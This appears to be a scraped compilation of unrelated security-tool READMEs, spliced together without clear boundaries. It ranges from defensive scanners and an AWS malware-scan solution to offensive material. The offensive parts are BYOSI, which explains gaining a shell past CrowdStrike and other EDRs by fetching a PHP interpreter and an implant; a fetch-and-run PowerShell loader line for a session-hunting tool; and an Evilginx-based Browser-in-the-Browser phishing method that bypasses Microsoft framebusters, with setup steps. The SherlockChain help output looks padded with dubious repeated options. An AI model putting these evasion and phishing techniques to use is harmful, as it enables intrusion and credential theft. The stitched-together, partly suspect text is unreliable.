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secator is a task and workflow runner used for security assessments. It supports dozens of well-known security tools and it is designed to improve productivity for pentesters and security researchers.
Curated list of commands
Unified input options
Unified output schema
CLI and library usage
Distributed options with Celery
Complexity from simple tasks to complex workflows
secator integrates the following tools:
| Name | Description | Category |
|---|---|---|
| httpx | Fast HTTP prober. | http |
| cariddi | Fast crawler and endpoint secrets / api keys / tokens matcher. | http/crawler |
| gau | Offline URL crawler (Alien Vault, The Wayback Machine, Common Crawl, URLScan). | http/crawler |
| gospider | Fast web spider written in Go. | http/crawler |
| katana | Next-generation crawling and spidering framework. | http/crawler |
| dirsearch | Web path discovery. | http/fuzzer |
| feroxbuster | Simple, fast, recursive content discovery tool written in Rust. | http/fuzzer |
| ffuf | Fast web fuzzer written in Go. | http/fuzzer |
| h8mail | Email OSINT and breach hunting tool. | osint |
| dnsx | Fast and multi-purpose DNS toolkit designed for running DNS queries. | recon/dns |
| dnsxbrute | Fast and multi-purpose DNS toolkit designed for running DNS queries (bruteforce mode). | recon/dns |
| subfinder | Fast subdomain finder. | recon/dns |
| fping | Find alive hosts on local networks. | recon/ip |
| mapcidr | Expand CIDR ranges into IPs. | recon/ip |
| naabu | Fast port discovery tool. | recon/port |
| maigret | Hunt for user accounts across many websites. | recon/user |
| gf | A wrapper around grep to avoid typing common patterns. | tagger |
| grype | A vulnerability scanner for container images and filesystems. | vuln/code |
| dalfox | Powerful XSS scanning tool and parameter analyzer. | vuln/http |
| msfconsole | CLI to access and work with the Metasploit Framework. | vuln/http |
| wpscan | WordPress Security Scanner | vuln/multi |
| nmap | Vulnerability scanner using NSE scripts. | vuln/multi |
| nuclei | Fast and customisable vulnerability scanner based on simple YAML based DSL. | vuln/multi |
| searchsploit | Exploit searcher. | exploit/search |
Feel free to request new tools to be added by opening an issue, but please check that the tool complies with our selection criterias before doing so. If it doesn't but you still want to integrate it into secator, you can plug it in (see the dev guide).
FreshRSS pipx install secator
pip install secator
wget -O - https://raw.githubusercontent.com/freelabz/secator/main/scripts/install.sh | sh
docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator --help
alias secator="docker run -it --rm --net=host -v ~/.secator:/root/.secator freelabz/secator"
secator --help
git clone https://github.com/freelabz/secator
cd secator
docker-compose up -d
docker-compose exec secator secator --help
Note: If you chose the Bash, Docker or Docker Compose installation methods, you can skip the next sections and go straight to Usage.
secator uses external tools, so you might need to install languages used by those tools assuming they are not already installed on your system.
We provide utilities to install required languages if you don't manage them externally:
secator install langs go
secator install langs ruby
secator does not install any of the external tools it supports by default.
We provide utilities to install or update each supported tool which should work on all systems supporting apt:
secator install tools
secator install tools <TOOL_NAME>
secator install tools httpx
Please make sure you are using the latest available versions for each tool before you run secator or you might run into parsing / formatting issues.
secator comes installed with the minimum amount of dependencies.
There are several addons available for secator:
secator install addons worker
secator install addons google
secator install addons mongodb
secator install addons redis
secator install addons dev
secator install addons trace
secator install addons build
secator makes remote API calls to https://cve.circl.lu/ to get in-depth information about the CVEs it encounters. We provide a subcommand to download all known CVEs locally so that future lookups are made from disk instead:
secator install cves
To figure out which languages or tools are installed on your system (along with their version):
secator health
secator --help
Run a fuzzing task (ffuf):
secator x ffuf http://testphp.vulnweb.com/FUZZ
Run a url crawl workflow:
secator w url_crawl http://testphp.vulnweb.com
Run a host scan:
secator s host mydomain.com
and more... to list all tasks / workflows / scans that you can use:
secator x --help
secator w --help
secator s --help
To go deeper with secator, check out: * Our complete documentation * Our getting started tutorial video * Our Medium post * Follow us on social media: @freelabz on Twitter and @FreeLabz on YouTube
A make an LKM rootkit visible again.
It involves getting the memory address of a rootkit's "show_module" function, for example, and using that to call it, adding it back to lsmod, making it possible to remove an LKM rootkit.
We can obtain the function address in very simple kernels using /sys/kernel/tracing/available_filter_functions_addrs, however, it is only available from kernel 6.5x onwards.
An alternative to this is to scan the kernel memory, and later add it to lsmod again, so it can be removed.
So in summary, this LKM abuses the function of lkm rootkits that have the functionality to become visible again.
OBS: There is another trick of removing/defusing a LKM rootkit, but it will be in the research that will be launched.
Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
Reconnaissance is the first phase of penetration testing which means gathering information before any real attacks are planned So Ashok is an Incredible fast recon tool for penetration tester which is specially designed for Reconnaissance" title="Reconnaissance">Reconnaissance phase. And in Ashok-v1.1 you can find the advanced google dorker and wayback crawling machine.
- Wayback Crawler Machine
- Google Dorking without limits
- Github Information Grabbing
- Subdomain Identifier
- Cms/Technology Detector With Custom Headers
~> git clone https://github.com/ankitdobhal/Ashok
~> cd Ashok
~> python3.7 -m pip3 install -r requirements.txt
A detailed usage guide is available on Usage section of the Wiki.
But Some index of options is given below:
Ashok can be launched using a lightweight Python3.8-Alpine Docker image.
$ docker pull powerexploit/ashok-v1.2
$ docker container run -it powerexploit/ashok-v1.2 --help
Retrieves relevant subdomains for the target website and consolidates them into a whitelist. These subdomains can be utilized during the scraping process.
Site-wide Link Discovery:
Collects all links throughout the website based on the provided whitelist and the specified max_depth.
Form and Input Extraction:
Identifies all forms and inputs found within the extracted links, generating a JSON output. This JSON output serves as a foundation for leveraging the XSS scanning capability of the tool.
XSS Scanning:
Note:
The scanning functionality is currently inactive on SPA (Single Page Application) web applications, and we have only tested it on websites developed with PHP, yielding remarkable results. In the future, we plan to incorporate these features into the tool.
Note:
This tool maintains an up-to-date list of file extensions that it skips during the exploration process. The default list includes common file types such as images, stylesheets, and scripts (
".css",".js",".mp4",".zip","png",".svg",".jpeg",".webp",".jpg",".gif"). You can customize this list to better suit your needs by editing the setting.json file..
$ git clone https://github.com/joshkar/X-Recon
$ cd X-Recon
$ python3 -m pip install -r requirements.txt
$ python3 xr.py
You can use this address in the Get URL section
http://testphp.vulnweb.com
SherlockChain is a powerful smart contract analysis framework that combines the capabilities of the renowned Slither tool with advanced AI-powered features. Developed by a team of security experts and AI researchers, SherlockChain offers unparalleled insights and vulnerability detection for Solidity, Vyper and Plutus smart contracts.
To install SherlockChain, follow these steps:
git clone https://github.com/0xQuantumCoder/SherlockChain.git
cd SherlockChain
pip install .
SherlockChain's AI integration brings several advanced capabilities to the table:
Natural Language Interaction: Users can interact with SherlockChain using natural language, allowing them to query the tool, request specific analyses, and receive detailed responses. he --help command in the SherlockChain framework provides a comprehensive overview of all the available options and features. It includes information on:
Vulnerability Detection: The --detect and --exclude-detectors options allow users to specify which vulnerability detectors to run, including both built-in and AI-powered detectors.
--report-format, --report-output, and various --report-* options control how the analysis results are reported, including the ability to generate reports in different formats (JSON, Markdown, SARIF, etc.).--filter-* options enable users to filter the reported issues based on severity, impact, confidence, and other criteria.--ai-* options allow users to configure and control the AI-powered features of SherlockChain, such as prioritizing high-impact vulnerabilities, enabling specific AI detectors, and managing AI model configurations.--truffle and --truffle-build-directory facilitate the integration of SherlockChain into popular development frameworks like Truffle.The --help command provides a detailed explanation of each option, its purpose, and how to use it, making it a valuable resource for users to quickly understand and leverage the full capabilities of the SherlockChain framework.
Example usage:
sherlockchain --help
This will display the comprehensive usage guide for the SherlockChain framework, including all available options and their descriptions.
usage: sherlockchain [-h] [--version] [--solc-remaps SOLC_REMAPS] [--solc-settings SOLC_SETTINGS]
[--solc-version SOLC_VERSION] [--truffle] [--truffle-build-directory TRUFFLE_BUILD_DIRECTORY]
[--truffle-config-file TRUFFLE_CONFIG_FILE] [--compile] [--list-detectors]
[--list-detectors-info] [--detect DETECTORS] [--exclude-detectors EXCLUDE_DETECTORS]
[--print-issues] [--json] [--markdown] [--sarif] [--text] [--zip] [--output OUTPUT]
[--filter-paths FILTER_PATHS] [--filter-paths-exclude FILTER_PATHS_EXCLUDE]
[--filter-contracts FILTER_CONTRACTS] [--filter-contracts-exclude FILTER_CONTRACTS_EXCLUDE]
[--filter-severity FILTER_SEVERITY] [--filter-impact FILTER_IMPACT]
[--filter-confidence FILTER_CONFIDENCE] [--filter-check-suicidal]
[--filter-check-upgradeable] [--f ilter-check-erc20] [--filter-check-erc721]
[--filter-check-reentrancy] [--filter-check-gas-optimization] [--filter-check-code-quality]
[--filter-check-best-practices] [--filter-check-ai-detectors] [--filter-check-all]
[--filter-check-none] [--check-all] [--check-suicidal] [--check-upgradeable]
[--check-erc20] [--check-erc721] [--check-reentrancy] [--check-gas-optimization]
[--check-code-quality] [--check-best-practices] [--check-ai-detectors] [--check-none]
[--check-all-detectors] [--check-all-severity] [--check-all-impact] [--check-all-confidence]
[--check-all-categories] [--check-all-filters] [--check-all-options] [--check-all]
[--check-none] [--report-format {json,markdown,sarif,text,zip}] [--report-output OUTPUT]
[--report-severity REPORT_SEVERITY] [--report-impact R EPORT_IMPACT]
[--report-confidence REPORT_CONFIDENCE] [--report-check-suicidal]
[--report-check-upgradeable] [--report-check-erc20] [--report-check-erc721]
[--report-check-reentrancy] [--report-check-gas-optimization] [--report-check-code-quality]
[--report-check-best-practices] [--report-check-ai-detectors] [--report-check-all]
[--report-check-none] [--report-all] [--report-suicidal] [--report-upgradeable]
[--report-erc20] [--report-erc721] [--report-reentrancy] [--report-gas-optimization]
[--report-code-quality] [--report-best-practices] [--report-ai-detectors] [--report-none]
[--report-all-detectors] [--report-all-severity] [--report-all-impact]
[--report-all-confidence] [--report-all-categories] [--report-all-filters]
[--report-all-options] [- -report-all] [--report-none] [--ai-enabled] [--ai-disabled]
[--ai-priority-high] [--ai-priority-medium] [--ai-priority-low] [--ai-priority-all]
[--ai-priority-none] [--ai-confidence-high] [--ai-confidence-medium] [--ai-confidence-low]
[--ai-confidence-all] [--ai-confidence-none] [--ai-detectors-all] [--ai-detectors-none]
[--ai-detectors-specific AI_DETECTORS_SPECIFIC] [--ai-detectors-exclude AI_DETECTORS_EXCLUDE]
[--ai-models-path AI_MODELS_PATH] [--ai-models-update] [--ai-models-download]
[--ai-models-list] [--ai-models-info] [--ai-models-version] [--ai-models-check]
[--ai-models-upgrade] [--ai-models-remove] [--ai-models-clean] [--ai-models-reset]
[--ai-models-backup] [--ai-models-restore] [--ai-models-export] [--ai-models-import]
[--ai-models-config AI_MODELS_CONFIG] [--ai-models-config-update] [--ai-models-config-reset]
[--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-list]
[--ai-models-config-info] [--ai-models-config-version] [--ai-models-config-check]
[--ai-models-config-upgrade] [--ai-models-config-remove] [--ai-models-config-clean]
[--ai-models-config-reset] [--ai-models-config-backup] [--ai-models-config-restore]
[--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-path AI_MODELS_CONFIG_PATH]
[--ai-models-config-file AI_MODELS_CONFIG_FILE] [--ai-models-config-url AI_MODELS_CONFIG_URL]
[--ai-models-config-name AI_MODELS_CONFIG_NAME] [--ai-models-config-description AI_MODELS_CONFIG_DESCRIPTION]
[--ai-models-config-version-major AI_MODELS_CONFIG_VERSION_MAJOR]
[--ai-models-config- version-minor AI_MODELS_CONFIG_VERSION_MINOR]
[--ai-models-config-version-patch AI_MODELS_CONFIG_VERSION_PATCH]
[--ai-models-config-author AI_MODELS_CONFIG_AUTHOR]
[--ai-models-config-license AI_MODELS_CONFIG_LICENSE]
[--ai-models-config-url-documentation AI_MODELS_CONFIG_URL_DOCUMENTATION]
[--ai-models-config-url-source AI_MODELS_CONFIG_URL_SOURCE]
[--ai-models-config-url-issues AI_MODELS_CONFIG_URL_ISSUES]
[--ai-models-config-url-changelog AI_MODELS_CONFIG_URL_CHANGELOG]
[--ai-models-config-url-support AI_MODELS_CONFIG_URL_SUPPORT]
[--ai-models-config-url-website AI_MODELS_CONFIG_URL_WEBSITE]
[--ai-models-config-url-logo AI_MODELS_CONFIG_URL_LOGO]
[--ai-models-config-url-icon AI_MODELS_CONFIG_URL_ICON]
[--ai-models-config-url-banner AI_MODELS_CONFIG_URL_BANNER]
[--ai-models-config-url-screenshot AI_MODELS_CONFIG_URL_SCREENSHOT]
[--ai-models-config-url-video AI_MODELS_CONFIG_URL_VIDEO]
[--ai-models-config-url-demo AI_MODELS_CONFIG_URL_DEMO]
[--ai-models-config-url-documentation-api AI_MODELS_CONFIG_URL_DOCUMENTATION_API]
[--ai-models-config-url-documentation-user AI_MODELS_CONFIG_URL_DOCUMENTATION_USER]
[--ai-models-config-url-documentation-developer AI_MODELS_CONFIG_URL_DOCUMENTATION_DEVELOPER]
[--ai-models-config-url-documentation-faq AI_MODELS_CONFIG_URL_DOCUMENTATION_FAQ]
[--ai-models-config-url-documentation-tutorial AI_MODELS_CONFIG_URL_DOCUMENTATION_TUTORIAL]
[--ai-models-config-url-documentation-guide AI_MODELS_CONFIG_URL_DOCUMENTATION_GUIDE]
[--ai-models-config-url-documentation-whitepaper AI_MODELS_CONFIG_URL_DOCUMENTATION_WHITEPAPER]
[--ai-models-config-url-documentation-roadmap AI_MODELS_CONFIG_URL_DOCUMENTATION_ROADMAP]
[--ai-models-config-url-documentation-blog AI_MODELS_CONFIG_URL_DOCUMENTATION_BLOG]
[--ai-models-config-url-documentation-community AI_MODELS_CONFIG_URL_DOCUMENTATION_COMMUNITY]
This comprehensive usage guide provides information on all the available options and features of the SherlockChain framework, including:
--detect, --exclude-detectors
--report-format, --report-output, --report-*
--filter-*
--ai-*
--truffle, --truffle-build-directory
--compile, --list-detectors, --list-detectors-info
By reviewing this comprehensive usage guide, you can quickly understand how to leverage the full capabilities of the SherlockChain framework to analyze your smart contracts and identify potential vulnerabilities. This will help you ensure the security and reliability of your DeFi protocol before deployment.
| Num | Detector | What it Detects | Impact | Confidence |
|---|---|---|---|---|
| 1 | ai-anomaly-detection | Detect anomalous code patterns using advanced AI models | High | High |
| 2 | ai-vulnerability-prediction | Predict potential vulnerabilities using machine learning | High | High |
| 3 | ai-code-optimization | Suggest code optimizations based on AI-driven analysis | Medium | High |
| 4 | ai-contract-complexity | Assess contract complexity and maintainability using AI | Medium | High |
| 5 | ai-gas-optimization | Identify gas-optimizing opportunities with AI | Medium | Medium |
| ## Detectors |
It can be difficult for security teams to continuously monitor all on-premises servers due to budget and resource constraints. Signature-based antivirus alone is insufficient as modern malware uses various obfuscation techniques. Server admins may lack visibility into security events across all servers historically. Determining compromised systems and safe backups to restore from during incidents is challenging without centralized monitoring and alerting. It is onerous for server admins to setup and maintain additional security tools for advanced threat detection. The rapid mean time to detect and remediate infections is critical but difficult to achieve without the right automated solution.
Determining which backup image is safe to restore from during incidents without comprehensive threat intelligence is another hard problem. Even if backups are available, without knowing when exactly a system got compromised, it is risky to blindly restore from backups. This increases the chance of restoring malware and losing even more valuable data and systems during incident response. There is a need for an automated solution that can pinpoint the timeline of infiltration and recommend safe backups for restoration.
The solution leverages AWS Elastic Disaster Recovery (AWS DRS), Amazon GuardDuty and AWS Security Hub to address the challenges of malware detection for on-premises servers.
This combo of services provides a cost-effective way to continuously monitor on-premises servers for malware without impacting performance. It also helps determine safe recovery point in time backups for restoration by identifying timeline of compromises through centralized threat analytics.
AWS Elastic Disaster Recovery (AWS DRS) minimizes downtime and data loss with fast, reliable recovery of on-premises and cloud-based applications using affordable storage, minimal compute, and point-in-time recovery.
Amazon GuardDuty is a threat detection service that continuously monitors your AWS accounts and workloads for malicious activity and delivers detailed security findings for visibility and remediation.
AWS Security Hub is a cloud security posture management (CSPM) service that performs security best practice checks, aggregates alerts, and enables automated remediation.
The Malware Scan solution assumes on-premises servers are already being replicated with AWS DRS, and Amazon GuardDuty & AWS Security Hub are enabled. The cdk stack in this repository will only deploy the boxes labelled as DRS Malware Scan in the architecture diagram.
Amazon Security Hub enabled. If not, please check this documentation
Warning
Currently, Amazon GuardDuty Malware scan does not support EBS volumes encrypted with EBS-managed keys. If you want to use this solution to scan your on-prem (or other-cloud) servers replicated with DRS, you need to setup DRS replication with your own encryption key in KMS. If you are currently using EBS-managed keys with your replicating servers, you can change encryption settings to use your own KMS key in the DRS console.
Create a Cloud9 environment with Ubuntu image (at least t3.small for better performance) in your AWS account. Open your Cloud9 environment and clone the code in this repository. Note: Amazon Linux 2 has node v16 which is not longer supported since 2023-09-11 git clone https://github.com/aws-samples/drs-malware-scan
cd drs-malware-scan
sh check_loggroup.sh
Deploy the CDK stack by running the following command in the Cloud9 terminal and confirm the deployment
npm install cdk bootstrap cdk deploy --all Note
The solution is made of 2 stacks: * DrsMalwareScanStack: it deploys all resources needed for malware scanning feature. This stack is mandatory. If you want to deploy only this stack you can run cdk deploy DrsMalwareScanStack
* ScanReportStack: it deploys the resources needed for reporting (Amazon Lambda and Amazon S3). This stack is optional. If you want to deploy only this stack you can run cdk deploy ScanReportStack
If you want to deploy both stacks you can run cdk deploy --all
All lambda functions route logs to Amazon CloudWatch. You can verify the execution of each function by inspecting the proper CloudWatch log groups for each function, look for the /aws/lambda/DrsMalwareScanStack-* pattern.
The duration of the malware scan operation will depend on the number of servers/volumes to scan (and their size). When Amazon GuardDuty finds malware, it generates a SecurityHub finding: the solution intercepts this event and runs the $StackName-SecurityHubAnnotations lambda to augment the SecurityHub finding with a note containing the name(s) of the DRS source server(s) with malware.
The SQS FIFO queues can be monitored using the Messages available and Message in flight metrics from the AWS SQS console
The DRS Volume Annotations DynamoDB tables keeps track of the status of each Malware scan operation.
Amazon GuardDuty has documented reasons to skip scan operations. For further information please check Reasons for skipping resource during malware scan
In order to analize logs from Amazon GuardDuty Malware scan operations, you can check /aws/guardduty/malware-scan-events Amazon Cloudwatch LogGroup. The default log retention period for this log group is 90 days, after which the log events are deleted automatically.
Run the following commands in your terminal:
cdk destroy --all
(Optional) Delete the CloudWatch log groups associated with Lambda Functions.
For the purpose of this analysis, we have assumed a fictitious scenario to take as an example. The following cost estimates are based on services located in the North Virginia (us-east-1) region.
| Monthly Cost | Total Cost for 12 Months |
|---|---|
| 171.22 USD | 2,054.74 USD |
| Service Name | Description | Monthly Cost (USD) |
|---|---|---|
| AWS Elastic Disaster Recovery | 2 Source Servers / 1 Replication Server / 4 disks / 100GB / 30 days of EBS Snapshot Retention Period | 71.41 |
| Amazon GuardDuty | 3 TB Malware Scanned/Month | 94.56 |
| Amazon DynamoDB | 100MB 1 Read/Second 1 Writes/Second | 3.65 |
| AWS Security Hub | 1 Account / 100 Security Checks / 1000 Finding Ingested | 0.10 |
| AWS EventBridge | 1M custom events | 1.00 |
| Amazon Cloudwatch | 1GB ingested/month | 0.50 |
| AWS Lambda | 5 ARM Lambda Functions - 128MB / 10secs | 0.00 |
| Amazon SQS | 2 SQS Fifo | 0.00 |
| Total | 171.22 |
Note The figures presented here are estimates based on the assumptions described above, derived from the AWS Pricing Calculator. For further details please check this pricing calculator as a reference. You can adjust the services configuration in the referenced calculator to make your own estimation. This estimation does not include potential taxes or additional charges that might be applicable. It's crucial to remember that actual fees can vary based on usage and any additional services not covered in this analysis. For critical environments is advisable to include Business Support Plan (not considered in the estimation)
See CONTRIBUTING for more information.
Retrieve and display information about active user sessions on remote computers. No admin privileges required.
The tool leverages the remote registry service to query the HKEY_USERS registry hive on the remote computers. It identifies and extracts Security Identifiers (SIDs) associated with active user sessions, and translates these into corresponding usernames, offering insights into who is currently logged in.
If the -CheckAdminAccess switch is provided, it will gather sessions by authenticating to targets where you have local admin access using Invoke-WMIRemoting (which most likely will retrieve more results)
It's important to note that the remote registry service needs to be running on the remote computer for the tool to work effectively. In my tests, if the service is stopped but its Startup type is configured to "Automatic" or "Manual", the service will start automatically on the target computer once queried (this is native behavior), and sessions information will be retrieved. If set to "Disabled" no session information can be retrieved from the target.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SessionHunter/main/Invoke-SessionHunter.ps1')
If run without parameters or switches it will retrieve active sessions for all computers in the current domain by querying the registry
Invoke-SessionHunter
Gather sessions by authenticating to targets where you have local admin access
Invoke-SessionHunter -CheckAsAdmin
You can optionally provide credentials in the following format
Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!"
You can also use the -FailSafe switch, which will direct the tool to proceed if the target remote registry becomes unresponsive.
This works in cobination with -Timeout | Default = 2, increase for slower networks.
Invoke-SessionHunter -FailSafe
Invoke-SessionHunter -FailSafe -Timeout 5
Use the -Match switch to show only targets where you have admin access and a privileged user is logged in
Invoke-SessionHunter -Match
All switches can be combined
Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!" -FailSafe -Timeout 5 -Match
Invoke-SessionHunter -Domain contoso.local
Invoke-SessionHunter -Targets "DC01,Workstation01.contoso.local"
Invoke-SessionHunter -Targets c:\Users\Public\Documents\targets.txt
Invoke-SessionHunter -Servers
Invoke-SessionHunter -Workstations
Invoke-SessionHunter -Hunt "Administrator"
Invoke-SessionHunter -IncludeLocalHost
Invoke-SessionHunter -RawResults
Note: if a host is not reachable it will hang for a while
Invoke-SessionHunter -NoPortScan
HardeningMeter is an open-source Python tool carefully designed to comprehensively assess the security hardening of binaries and systems. Its robust capabilities include thorough checks of various binary exploitation protection mechanisms, including Stack Canary, RELRO, randomizations (ASLR, PIC, PIE), None Exec Stack, Fortify, ASAN, NX bit. This tool is suitable for all types of binaries and provides accurate information about the hardening status of each binary, identifying those that deserve attention and those with robust security measures. Hardening Meter supports all Linux distributions and machine-readable output, the results can be printed to the screen a table format or be exported to a csv. (For more information see Documentation.md file)
Scan the '/usr/bin' directory, the '/usr/sbin/newusers' file, the system and export the results to a csv file.
python3 HardeningMeter.py -f /bin/cp -s
Before installing HardeningMeter, make sure your machine has the following: 1. readelf and file commands 2. python version 3 3. pip 4. tabulate
pip install tabulate
The very latest developments can be obtained via git.
Clone or download the project files (no compilation nor installation is required)
git clone https://github.com/OfriOuzan/HardeningMeter
Specify the files you want to scan, the argument can get more than one file seperated by spaces.
Specify the directory you want to scan, the argument retrieves one directory and scan all ELF files recursively.
Specify whether you want to add external checks (False by default).
Prints according to the order, only those files that are missing security hardening mechanisms and need extra attention.
Specify if you want to scan the system hardening methods.
Specify if you want to save the results to csv file (results are printed as a table to stdout by default).
HardeningMeter's results are printed as a table and consisted of 3 different states: - (X) - This state indicates that the binary hardening mechanism is disabled. - (V) - This state indicates that the binary hardening mechanism is enabled. - (-) - This state indicates that the binary hardening mechanism is not relevant in this particular case.
When the default language on Linux is not English make sure to add "LC_ALL=C" before calling the script.
CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.
| Detection | Description |
|---|---|
| Direct Syscall | Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks. |
| NTDLL Unhooking | Identifies attempts to unhook functions within the NTDLL library, a common evasion technique. |
| AMSI Patch | Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis. |
| ETW Patch | Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection. |
| PE Stomping | Identifies instances of PE (Portable Executable) stomping. |
| Reflective PE Loading | Detects the reflective loading of PE files, a technique employed by malware to avoid static analysis. |
| Unbacked Thread Origin | Identifies threads originating from unbacked memory regions, often indicative of malicious activity. |
| Unbacked Thread Start Address | Detects threads with start addresses pointing to unbacked memory, a potential sign of code injection. |
| API hooking | Places a hook on the NtWriteVirtualMemory function to monitor memory modifications. |
| Custom Pattern Search | Allows users to search for specific patterns provided in a JSON file, facilitating the identification of known malware signatures. |
To get started with CrimsonEDR, follow these steps:
bash sudo apt-get install gcc-mingw-w64-x86-64
bash git clone https://github.com/Helixo32/CrimsonEDR
bash cd CrimsonEDR; chmod +x compile.sh; ./compile.sh
Windows Defender and other antivirus programs may flag the DLL as malicious due to its content containing bytes used to verify if the AMSI has been patched. Please ensure to whitelist the DLL or disable your antivirus temporarily when using CrimsonEDR to avoid any interruptions.
To use CrimsonEDR, follow these steps:
ioc.json file is placed in the current directory from which the executable being monitored is launched. For example, if you launch your executable to monitor from C:\Users\admin\, the DLL will look for ioc.json in C:\Users\admin\ioc.json. Currently, ioc.json contains patterns related to msfvenom. You can easily add your own in the following format:{
"IOC": [
["0x03", "0x4c", "0x24", "0x08", "0x45", "0x39", "0xd1", "0x75"],
["0xf1", "0x4c", "0x03", "0x4c", "0x24", "0x08", "0x45", "0x39"],
["0x58", "0x44", "0x8b", "0x40", "0x24", "0x49", "0x01", "0xd0"],
["0x66", "0x41", "0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40"],
["0x8b", "0x0c", "0x48", "0x44", "0x8b", "0x40", "0x1c", "0x49"],
["0x01", "0xc1", "0x38", "0xe0", "0x75", "0xf1", "0x4c", "0x03"],
["0x24", "0x49", "0x01", "0xd0", "0x66", "0x41", "0x8b", "0x0c"],
["0xe8", "0xcc", "0x00", "0x00", "0x00", "0x41", "0x51", "0x41"]
]
}
Execute CrimsonEDRPanel.exe with the following arguments:
-d <path_to_dll>: Specifies the path to the CrimsonEDR.dll file.
-p <process_id>: Specifies the Process ID (PID) of the target process where you want to inject the DLL.
For example:
.\CrimsonEDRPanel.exe -d C:\Temp\CrimsonEDR.dll -p 1234
Here are some useful resources that helped in the development of this project:
For questions, feedback, or support, please reach out to me via:
A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft.
This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet.
Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. โถ Watch Video
โ๏ธ Buy Me A Coffee
This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk.
Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack. The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc. The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords.
That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack.
The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx.
In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes.
A Browser In The Browser (BITB) without any iframes! As simple as that.
Meaning that we can now use BITB with Evilginx on websites like Microsoft.
Evilginx here is just a strong example, but the same concept can be used for other use-cases as well.
Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page. This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect. We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts.
Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop)
Update and Upgrade system packages:
sudo apt update && sudo apt upgrade -y
Create a new evilginx user, and add user to sudo group:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Test that evilginx user is in sudo group:
su - evilginx
sudo ls -la /root
Navigate to users home dir:
cd /home/evilginx
(You can do everything as sudo user as well since we're running everything locally)
Download and build Evilginx: Official Docs
Copy Evilginx files to /home/evilginx
Install Go: Official Docs
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
ADD: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Check:
go version
Install make:
sudo apt install make
Build Evilginx:
cd /home/evilginx/evilginx2
make
Create a new directory for our evilginx build along with phishlets and redirectors:
mkdir /home/evilginx/evilginx
Copy build, phishlets, and redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
